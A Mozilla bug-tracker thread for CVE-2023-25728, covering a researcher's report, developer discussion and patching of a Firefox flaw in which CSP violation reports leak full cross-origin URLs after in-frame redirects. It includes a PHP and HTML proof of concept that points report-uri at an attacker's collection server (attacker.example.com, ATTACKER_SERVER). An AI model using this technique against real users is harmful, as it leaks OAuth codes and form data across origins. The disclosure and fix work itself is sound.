1790345 - (CVE-2023-25728) CSP violation report can be made to leak cross origin information from embedded page (bypassing SOP)

Status: RESOLVED FIXED

(Core :: DOM: Security, defect, P2)

Description

[johanaxelcarlsson]

I had some difficulties to give this a proper name, but I hope it can be clarified by the content of the report. Please rename it as you see fit.

I have found an issue in Firefox implementation of CSP reporting directives, that can be used by a malicious user to leak full URL's (Including scheme, authorization, domain, port, path and query. Only excluding fragment) from a victim user's cross-origin (and cross site) activity. This can in the worst case leak highly sensitive information such as OAuth codes, user form content and similar information present in URLs.

The problem arise due to a flaw in the implementation of handling of redirects in CSP reporting directives. A malicious user can create a page with a "Content-Security-Policy-Report-Only" header that restrict what URLs are frameable in the page. Assuming this header

Content-Security-Policy-Report-Only: frame-src 'none'; report-uri https://example.com

Any attempt of framing a page will result in a violation and a report being sent to https://example.com. This report will contain some information of the violation and in particular it will contain the "blocked-uri". To avoid leaking cross-origin information, w3c specs have some restrictions on what is allowed in the blocked-uri part of the report. See

https://w3c.github.io/webappsec-csp/#security-violation-reports

The above link seems to only discuss redirects (which I will describe as problem number 1 below), but this page on MDN

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#sample_violation_report

also suggests that the full path should be redacted even on initial cross-origin requests.

"As you can see, the report includes the full path to the violating resource in blocked-uri. This is not always the case. For example, if the signup.html attempted to load CSS from http://anothercdn.example.com/stylesheet.css, the browser would not include the full path, but only the origin (http://anothercdn.example.com)"

The current implementation in Firefox break these rules in two ways:

Leaking cross-origin information in blocked-uri on original request

As you can read in my second link above, Mozilla states that when making a cross-origin request that is blocked by a CSP rule, the "blocked-uri" part of the report should only include the origin. This is not the case in Firefox at the moment. Given the CSP header

Content-Security-Policy-Report-Only: frame-src 'none'; report-uri https://attacker.example.com

And the page content

<iframe src="https://a:[e-mail]/links.html?test=test#test"></iframe>

Will result in a report sent with this information

"blocked-uri": "https://a:[e-mail]/links.html?test=test"

This is in contrast to Chrome and Safari that will respond with this report

"blocked-uri": "https://sub1.example.com"

This is probably a minor issue as the user in control of the main page (implementing the CSP) could possibly access DOM object and get similar information. But there might be edge cases where this is an unwanted leakage.

Leaking cross-origin full URLs when a framed page redirects

A lot worse than the above leak is how Firefox handles "in-frame redirects" from cross-origin content. This attack is a proper bug and not only an interpretation of the specs.

By setting a Content-Security-Policy-Report-Only instead of a Content-Security-Policy a malicious page can frame another page, and the victim user will be able to navigate this embedded page without any notification that all navigation will violate the CSP and thus send reports to the configured report-uri. Normal cross-origin navigation in such a frame will result in a report containing blocked-uri of only the violating origin (as it should). Like this

"blocked-uri": "https://sub1.example.com"

And even if the attacker can "trace" the user's action through origins this way, I think that this is "by design" that all subsequent navigation also triggers the CSP violation. The big problem though is when any subsequent navigation encounters a redirect, then Firefox generates two violation reports, one containing only the origin but one containing the full pre-redirect URL. To make an example (with frame-src 'none')

1. Page attacker.com embeds victim1.com in an iframe (this will trigger a first report containing the full URL as per the first issue above)
2. victim.com contains a link to https://victim2.com/test?test=test, clicking it will trigger a regular report containing only the origin of victim2.com
3. victim2.com contains a link to https://victim3.com/test?test=test but victim3.com redirects to victim3.com/login now (because of the redirect) there will be two reports generated. One containing the origin of victim3 but also one containing the full pre redirect URL https://victim3.com/test?test=test

Notice that the attacker's page which is at a completely different origin (and site), will leak data from a cross origin embedded page. Redirects like these are quite common when a user either use some OAuth flows and also when pages deal with form data requests, making the likelihood of a redirect containing sensitive data high.

A restriction to this attack is that the victim page must be frameable.

Example

To test this behavior you can use my example page. I host a PHP page that will add a CSP-report url given as a query parameter. This page will frame another page hosted on GitHub pages. The GitHub pages are configured with a custom domain. So when trying to access the GitHub page directly, it will make a redirect to the configured domain. This was the easiest way for me to show off the impact, it can probably be easier researched by setting up some properly hosted domains (or spoof them with /etc/hosts)

1. Set up some sort of "catch server" to collect the CSP reports (i used webhook.site for this)
2. Go to https://joaxcar.com/frame.php?url=YOUR_SERVER (and replace YOUR_SERVER with the catch server)
3. The page will contain one frame at the top just proving the first described issue (the page does not exist, but the report is sent anyway). Then the page contains a frame of my page https://sub1.joaxcar.com this page contains one regular link, one link that will cause a redirect and one form that on submission will make a redirect. Click around
4. Check the report logs

Verions

Tested on version 104.0.2 (64-bit) on Mac-OS 12.5.1

Test code

PHP site:

<?php
    header("Content-Security-Policy-Report-Only: frame-src 'none'; img-src 'none'; report-uri " . $_GET["url"]);
?>
<html>
    <body>
        <h2>A frame to test leakage of embeded cross origin resource</h2>
        <iframe src="https://a:[e-mail]/links.html?test=test#test"></iframe>
        <h2>A frame to test embeded cross origin navigation</h2>
        <iframe src="https://sub1.joaxcar.com/links.html"></iframe>
    </body>
</html>

HTML site hosted on other origin:

<html>
  <head></head>
  <body>
    <a href="https://sub1.joaxcar.com/links.html?code=123abc#test">regular link</a>
    <br/>
    <a href="https://joaxcar.github.io/sop/links.html?code=123abc#test">redirect link</a>
    <br/>
    <h3>Redirect form</h3>
    <form action="https://joaxcar.github.io/sop/links.html">
      <input type=text name=text value=test>
      <input type=submit>
    </form>
  </body>
</html>

Please ask if anything is unclear, as I had some trouble minifying the POC

Comment 1

[Andrew McCreight [:mccr8]]

Christoph, could you figure out what to do with this? Thanks.

Comment 2

[Frederik Braun [:freddy]]

I believe this might be a duplicate bug or at least a known bug... If I remember correctly, we had a different leak in the past and we fixed it by reporting the exact writing of the URL as found in the HTML code.
A leak would be more problematic if the report contained something that is not in the URL.

What happens if you frame a web page that re-uses ambient information (e.g., on a page https://example.com/?secret which then embeds <frame src="#foo"> - would it leak #foo or https://example.com/?secret#foo?

Comment 3

[johanaxelcarlsson]

So first of, I believe that the framing document's CSP will not get inherited into the framed document. Thus, any "frames inside the frame" will not have any extra impact. But I think that I might not have described the scenario in the best way, and will try to clarify. The URLs here are from my test site https://joaxcar.com/frame.php

A page (controlled by what we can call "the attacker") can add a CSP containing

Content-Security-Policy-Report-Only: frame-src 'none'; report-uri https://attacker.example.com

which will send a report to the attackers server whenever anything is framed in the page. Now the attacker also adds this iframe on the page

<iframe src="https://sub1.joaxcar.com/links.html"></iframe>

This will trigger a report about https://sub1.joaxcar.com/links.html and this is (as you noted) not awfully leaky, even if the other browsers strip this to only origin. But the interesting part comes when the victim user now uses the framed page (as the CSP is report only it will allow the page to function). If the user performs any normal navigation inside the iframe a report will be generated with a warning of a new page being framed.
This time only the origin will be reported. Clicking this link in the iframe

<a href="https://example.com/links.html?code=123abc#test">regular link</a>

will give the report

"blocked-uri": "https://example.com/"

And note that on my test page these URLs are to the same origin, but this should not matter. The browser is now reporting about URLs that are not part of the HTML. The framing page have no access to the HTML code of the cross origin iframe.

But now to the leak. If any navigation inside the iframe would lead to a redirect, Firefox will send two reports. One containing the redacted "only origin" blocked-url but also one containing the full pre-redirect URL. So given this link (inside the cross origin frame)

<a href="https://redirecting-example.com/links.html?code=123abc#test">regular link</a>

The generated reports would contain

https://redirecting-example.com/sop/links.html?code=123abc
and
https://redirecting-example.com

And as you can see one of the reports leak information of a URL that should be out of bounds for the attacker. It is not accessible in the page HTML.

These redirects can be caused by for example a form GET submit to a page that will answer with a 301 redirect, or some form of login flow.

On my example page https://joaxcar.com/frame.php?url=ATTACKER_SERVER the framed page is https://sub1.joaxcar.com and clicking the redirect link in the iframe will leak URLs from https://joaxcar.github.io for example this one

"blocked-uri": "https://joaxcar.github.io/sop/links.html?text=test",

I hope that this makes the issue clearer. I think the bug is located somewhere in the logic that is supposed to block leakage when a framed page is redirecting. But that this code is not considering subsequent redirects but only redirects initiated by the actual src attribute.

Does this help, or should I create a better PoC or add any other info/video?

Thanks for looking in to it

Comment 4

[Frederik Braun [:freddy]]

OK, thanks for the follow-up. This is a better explanation.
I'll write an automated test for scenario in comment 3 and dveditz also suggests writing a test for another interesting case:

• The attacker page is allow-listing the frame (also an attacker page), which then redirects or navigates to a victim page. Does that leak?

Comment 5

[johanaxelcarlsson]

I did some manual testing on the scenario where some domains are whitelisted and some are not, also using real CSP and not report-only (thus actually blocking the page)

If you visit https://joaxcar.com/frame3.php?url=ATTACKER_SERVER and click the link "tiny url" in the iframe the site tinyurl.com is blocked by CSP and thus stopped before any redirect. It will send a report with only the origin of tinyurl.com to your server.

If you instead go to https://joaxcar.com/frame2.php?url=ATTACKER_SERVER and click the same link, tinyurl.com is now whitelisted and the block will take place after the redirect. The report will now contain the full tinyurl URL including path and query.

Note here: what is leaked is the full URL of the pre-redirect request, but the block is on the post-redirect URL. Still the pre-redirect (link) URL is located cross origin from the framing outer page (joaxcar.com) and should thus not leak to the framing page report url.

From an attackers point of view I guess the "report-only" mode is more valuable as you can trace a users actions. But the "regular CSP" one is probably more prevalent in the wild as a side effect of pages configuration. Possibly leaking user info unintentionally.

Comment 6

[BugBot [:suhaib / :marco/ :calixte]]

The severity field is not set for this bug.
:freddy, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 7

[johanaxelcarlsson]

Hi again :freddy , did you manage to reproduce this? Or do I need to provide a better/alternative PoC?

Best regards
Johan

Comment 8

[Frederik Braun [:freddy]]

Tom, can you take a look? This looks like it might be in your wheelhouse.

Comment 9

[Tom Schuster (MoCo)]

Chrome simply strips cross-origin URLs used for frame-src down to the bare origin. We should just do the same.

  // Until we're more careful about the way we deal with navigations in frames
  // (and, by extension, in plugin documents), strip cross-origin 'frame-src'
  // and 'object-src' violations down to an origin. https://crbug.com/633306

https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/frame/csp/content_security_policy.cc;l=855-865;drc=b1873cad20e18ff8afc0db995c4ac580ba051e42

Comment 10

[Tom Schuster (MoCo)]

Attachment: Bug 1790345 - Strip cross-origin URIs in frame-src CSP reports. r?freddyb

Comment 11

[Tom Schuster (MoCo)]

Attachment: Bug 1790345 - Add WPT for censored cross-origin URI in CSP report. r?freddyb

Depends on D165818

Comment 12

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Landed: https://hg.mozilla.org/integration/autoland/rev/c42c459d2be658998bea60d024fe8a9dde24938c

Backed out for causing mochitest failures in test_blocked_uri_in_violation_event_after_redirects.html:
https://hg.mozilla.org/integration/autoland/rev/2387b4292a52b99ef3e1e9fdc3d54424f4058265

Push with failures
Failure log

TEST-UNEXPECTED-FAIL | dom/security/test/csp/test_blocked_uri_in_violation_event_after_redirects.html | sanity: how can we end up here?

Comment 13

[Tom Schuster (MoCo)]

Interesting, we apparently started to censor the URLs when actually blocking in bug 1542194.

Comment 14

[Daniel Veditz [:dveditz]]

My earlier security rating was grossly wrong. A same-origin-policy-violating URL leak is normally sec-high like bug 1542194.

Unconditionally truncating a blocked <iframe src=> URL to origin as Chrome apparently does (comment 9) is wrong, but minor compared to a cross-origin URL leak. I can live with it if that's what we have to do; since that's what Chrome and Safari do (comment 0) I hope that won't cause any problems.

But missing truncation isn't the only problem we have!

1. not truncating cross-origin URLs is a cross-origin leak
2. we're reporting the wrong origin!
3. we're not blanking out the frame when a blocked URL is clicked—unless there's a redirect

#1 is obviously the worst issue, but #2 is worrying, too. If we're reporting the wrong URL are we using that URL in any decisions?

#3 is trivial and we could put it in another bug, or even ignore it. Either behavior could be justified—if only it weren't inconsistent!

Comment 15

[Daniel Veditz [:dveditz]]

Rereading §2.4.2 of the CSP spec we are correct to report the pre-redirect URL. I think Chrome is incorrect to report https://example.com for the "https://tinyurl.com/yc3kar5f?test=test" link. Note that in a non-frame subresource Chrome does report the pre-redirect URL. For example, check the console after loading:

data:text/html,<meta http-equiv="content-security-policy" content="img-src https://tinyurl.com">Hi there<script>window.addEventListener("securitypolicyviolation",(e)=>{console.log(e)})</script><img id=test src=https://tinyurl.com/yc3kar5f?test=test>

I think we're OK on that score so my #2 is not a problem after all. #3 we can ignore or file as a new bug (that no one's going to have time to work on). We only have to worry about truncating those cross-origin violations in this bug.

You could argue we should always report the <iframe src=> url instead because even just reporting the truncated origin of link clicks reveals information about what the user is doing that the parent page wouldn't otherwise know. That wouldn't be very useful—maybe we shouldn't bother to report navigation blocks inside a frame. Go ahead and block, and show our console errors to help developers debug, but don't send violation events or reports. Will have to raise a spec issue on that. For now, we'll just fix the missing truncation.

Comment 16

[Tom Schuster (MoCo)]

Comment on attachment 9310389 [details]
Bug 1790345 - Strip cross-origin URIs in frame-src CSP reports. r?freddyb

Security Approval Request

• How easily could an exploit be constructed based on the patch?: There is no exploit, but the info leak is pretty easy to reconstruct based on the test changes.

(We previously landed this patch when it was still rated sec-low)

• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which older supported branches are affected by this flaw?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Fixing this in ESR102 is going to be difficult. This patch relies on changes made in bug 1529337. (The effective-directive parameter aEffectiveDirective)
• How likely is this patch to cause regressions; how much testing does it need?: This only changes what we put into CSP reports, very unlikely to cause any regressions visible to the user.
• Is Android affected?: Yes

Comment 17

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Comment on attachment 9310389 [details]
Bug 1790345 - Strip cross-origin URIs in frame-src CSP reports. r?freddyb

It sounds like we need to confirm that we can produce a patch for ESR; assuming we can then we can land this. But until we know what we're going to do for that we should hold off.

Comment 18

[Tom Schuster (MoCo)]

I will have to investigate how difficult it would be to do something similar like https://hg.mozilla.org/integration/autoland/rev/70b37777bc92 for ESR102.

Comment 19

[Tom Schuster (MoCo)]

Attachment: Bug 1790345 - ESR102: Introduce effective directive. r?freddyb

Comment 20

[Tom Schuster (MoCo)]

Attachment: Bug 1790345 - ESR102: Strip cross-origin URIs in frame-src CSP reports. r?freddyb

Depends on D167365

Comment 21

[Tom Schuster (MoCo)]

Comment on attachment 9313225 [details]
Bug 1790345 - ESR102: Strip cross-origin URIs in frame-src CSP reports. r?freddyb

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 22

[Tom Schuster (MoCo)]

OH wait, maybe that should have been sec approval.

Comment 23

[Tom Schuster (MoCo)]

Comment on attachment 9313224 [details]
Bug 1790345 - ESR102: Introduce effective directive. r?freddyb

Security Approval Request

• How easily could an exploit be constructed based on the patch?: See comment 16.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which older supported branches are affected by this flaw?:
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?:
• How likely is this patch to cause regressions; how much testing does it need?:
• Is Android affected?: Yes

Comment 24

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Comment on attachment 9313225 [details]
Bug 1790345 - ESR102: Strip cross-origin URIs in frame-src CSP reports. r?freddyb

Approved to request uplift and land

Comment 25

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Comment on attachment 9313224 [details]
Bug 1790345 - ESR102: Introduce effective directive. r?freddyb

Approved to request uplift and land

Comment 26

[Tom Schuster (MoCo)]

I think we should be ready now to land?

Comment 27

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

The last uplifts are Feb 2; so I think that yes, we can land this, unless you are concerned about it not being approved for uplift, in which case check with relman before landing.

Comment 28

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Landed:
https://hg.mozilla.org/integration/autoland/rev/377f28cf90f0675b6b1e65e9563c10b505935f97

Backed out for causing failures with test_blocked_uri_redirect_frame_src.html
https://hg.mozilla.org/integration/autoland/rev/3bad7be06ddac4ae238720bff307a56d3a5582fc

Push with failures
Failure log

[task 2023-01-30T12:26:04.364Z] 12:26:04     INFO - TEST-START | dom/security/test/csp/test_blocked_uri_redirect_frame_src.html
[task 2023-01-30T12:26:04.496Z] 12:26:04     INFO - TEST-INFO | started process screentopng
[task 2023-01-30T12:26:05.186Z] 12:26:05     INFO - TEST-INFO | screentopng: exit 0
[task 2023-01-30T12:26:05.187Z] 12:26:05     INFO - TEST-UNEXPECTED-FAIL | dom/security/test/csp/test_blocked_uri_redirect_frame_src.html | Incorrect blocked-uri - got "http://example.com", expected "http://example.com/tests/dom/security/test/csp/file_blocked_uri_redirect_frame_src_server.sjs?doredirect"
[task 2023-01-30T12:26:05.188Z] 12:26:05     INFO -     SimpleTest.is@SimpleTest/SimpleTest.js:487:14
[task 2023-01-30T12:26:05.189Z] 12:26:05     INFO -     ml@dom/security/test/csp/test_blocked_uri_redirect_frame_src.html:40:7

Comment 29

[Tom Schuster (MoCo)]

Sorry, I updated the test and landed again.

https://hg.mozilla.org/integration/autoland/rev/a4565e1b327c15be0baabaf4071d141be330fe0a

Comment 30

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/a4565e1b327c

Comment 31

[BugBot [:suhaib / :marco/ :calixte]]

The patch landed in nightly and beta is affected.
:tschuster, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
• If no, please set status-firefox110 to wontfix.

For more information, please visit auto_nag documentation.

Comment 32

[Tom Schuster (MoCo)]

Comment on attachment 9310389 [details]
Bug 1790345 - Strip cross-origin URIs in frame-src CSP reports. r?freddyb

Beta/Release Uplift Approval Request

• User impact if declined: XSS URL leakage
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):
• String changes made/needed:
• Is Android affected?: Yes

Comment 33

[Tom Schuster (MoCo)]

Comment on attachment 9313224 [details]
Bug 1790345 - ESR102: Introduce effective directive. r?freddyb

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 34

[Pascal Chevrel:pascalc (PTO until April 26)]

Comment on attachment 9310389 [details]
Bug 1790345 - Strip cross-origin URIs in frame-src CSP reports. r?freddyb

Approved for 110 beta 8, thanks.

Comment 35

[Pascal Chevrel:pascalc (PTO until April 26)]

https://hg.mozilla.org/releases/mozilla-beta/rev/251af9d31cde

Comment 36

[Pascal Chevrel:pascalc (PTO until April 26)]

Comment on attachment 9313224 [details]
Bug 1790345 - ESR102: Introduce effective directive. r?freddyb

Approved for ESR 102.8.0, thanks.

Comment 37

[Pascal Chevrel:pascalc (PTO until April 26)]

https://hg.mozilla.org/releases/mozilla-esr102/rev/a4db1e8f8261
https://hg.mozilla.org/releases/mozilla-esr102/rev/965a208b3cdd

Comment 38

[Pascal Chevrel:pascalc (PTO until April 26)]

Backed out changeset a4db1e8f8261 (Bug 1790345) for build bustage a=pascalc
https://hg.mozilla.org/releases/mozilla-esr102/rev/8e52cd0ec19730700c5e5c74bf0a7167180d8bb4
https://hg.mozilla.org/releases/mozilla-esr102/rev/be907cae5b8a0ddf340a5d4bec6dd5c6ff1027d8

Tom, I believe these are the cause of the build bustage on esr102, could you have a look please?
https://treeherder.mozilla.org/logviewer?job_id=404339438&repo=mozilla-esr102
Thanks

Comment 39

[Tom Schuster (MoCo)]

Seems like only the Windows compiler detected the inconsistent order of fields/initialization. I've fixed it by reordering.

dom/security/nsCSPContext.cpp(1436,9): error: field 'mViolatedDirective' will be initialized after field 'mEffectiveDirective' [-Werror,-Wreorder-ctor]
  mViolatedDirective(aViolatedDirective),
  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  mEffectiveDirective(aEffectiveDirective)

Comment 40

[Ryan VanderMeulen [:RyanVM]]

Tried to land the updated patches but hit xpcshell failures:
https://treeherder.mozilla.org/logviewer?job_id=404541761&repo=mozilla-esr102&lineNumber=4116

Assertion failure: false (MOZ_ASSERT_UNREACHABLE: dead code), at /builds/worker/checkouts/gecko/dom/security/nsCSPContext.cpp:843
#01: nsCSPContext::LogViolationDetails(unsigned short, mozilla::dom::Element*, nsICSPEventListener*, nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, int, int, nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&) 
#02: ??? 
#03: CallMethodHelper::Call() 
#04: XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) 
#05: XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) 
#06: CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) 
#07: js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) 
#08: Interpret(JSContext*, js::RunState&) 
#09: js::RunScript(JSContext*, js::RunState&) 
#10: js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) 
#11: js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICFallbackStub*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) 
#12: ??? (???:???)

Comment 41

[Tom Schuster (MoCo)]

Sorry. I am really not doing a good job working with esr102. We had already fixed the test in bug 1778975, but that obviously isn't in esr102 either. Please reland.

Comment 42

[Ryan VanderMeulen [:RyanVM]]

Third time's the charm ;-)
https://hg.mozilla.org/releases/mozilla-esr102/rev/1e098ecf9e8d
https://hg.mozilla.org/releases/mozilla-esr102/rev/4949c8f79bd5

Comment 43

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Attachment: advisory.txt

Comment 44

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/5cb45c939603
Add WPT for censored cross-origin URI in CSP report. r=freddyb

Comment 45

[Cristian Tuns]

https://hg.mozilla.org/mozilla-central/rev/5cb45c939603

Comment 46

[Web Platform Test Sync Bot (Matrix: #interop:mozilla.org)]

Created web-platform-tests PR https://github.com/web-platform-tests/wpt/pull/42821 for changes under testing/web-platform/tests

Comment 47

[Web Platform Test Sync Bot (Matrix: #interop:mozilla.org)]

Upstream PR merged by moz-wptsync-bot

Comment 48

[Web Platform Test Sync Bot (Matrix: #interop:mozilla.org)]

Upstream PR was closed without merging